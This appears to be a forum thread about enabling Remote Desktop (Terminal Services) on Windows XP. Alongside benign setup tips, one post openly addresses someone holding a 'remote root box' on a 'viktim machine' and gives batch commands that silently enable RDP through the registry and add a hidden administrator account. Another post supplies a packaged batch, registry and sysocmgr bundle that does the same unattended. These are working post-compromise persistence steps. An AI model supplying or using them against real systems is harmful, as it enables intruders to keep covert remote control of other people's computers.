WindowsXP Pro has Terminal Services out-of-the-box.... Just have to enable it. Only backdraw is only one user can connect to the desktop at a time. I haven't found a way to change that yet.

i'm not sure but i think you go to the control panel > add & remove programs > windows component tab> check the box for terminal services > ok then restart.

When the TS component is installed, but DISABLED (in most cases) you can enable it (in windows XP):
Rightclick on My Computer -> Properties -> Remote -> Check the 2nd box

When you have a (remote) root box on a windows machine you can enable terminal services:

1) type "ver" and determinate this box uses windows xp. i just tested this on windows xp, when it works on other os's too, let me know.

2) Run these commands on the remote machine (you can copy into a .bat file and upload it, too of course):

Quote

echo Windows Registry Editor Version 5.00 >> ts_on.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Terminal Server]>> ts_on.reg
echo "TSEnabled"=dword:00000001 >> ts_on.reg
echo "TSUserEnabled"=dword:00000001 >> ts_on.reg
echo "fAllowToGetHelp"=dword:00000001 >> ts_on.reg
echo "fDenyTSConnections"=dword:00000000 >> ts_on.reg
regedit.exe /s "ts_on.reg"
del /f ts_on.reg

3) Run the 'ts_on.bat'. Remote desktop should be enabled.

4) Optional: If you want to add a user with admin privileges to use with ts, you can do this by doing the following:

a) type "net localgroup" to find out how the adminstrative group is called on this system (needed because on different languages of win xp "adminstator" is typed in another way.)
B) type "net user peter pan /add" to add a user. Username now is 'peter' and password is 'pan'.
c)type "net localgroup Administrators peter /Add" to add user 'peter' to the admin group. Remember: Replace "Administrators" by the name found out in step a.

Now you can connect to the viktim machine. (Start -> Run -> "mstsc"). Check the settings and connect.

You wonder why I wrote that much? The answer is spimple - i was bored :)

Got this off a post about a year ago from this site. Not sure if it's any diff than the previous post tho, maybe it'll help.

Need 4 files.

bootlog.txt with the following in it:

Quote

[Components] 
TSEnabled = on 

sysocmgr.exe (couldn't find a link)

TS.bat with the following in it:

Quote

@Echo Off
regedit /s TS.reg
sysocmgr /i:%windir%\inf\sysoc.inf /u:bootlog.txt /q
net user <new username> <new password> /add
net localgroup Administrators /add <new username>
Exit

and TS.reg with the following in it:

Quote

Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService]
"Start"=dword:00000002
[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer]
"EnableAdminTSRemote"=dword:00000001
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]
"TSEnabled"=dword:00000001
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD]
"Start"=dword:00000002

You could also throw it all together with nsis or something like that. Somethin simple like this should work.

Exec "net localgroup Administrators /add <username>
Exec "net start termserv"

Good luck. Hope this helps.

You can't. Terminal Services doesn't allow multiple logins. I think your better option is something like Dameware or RealVNC.
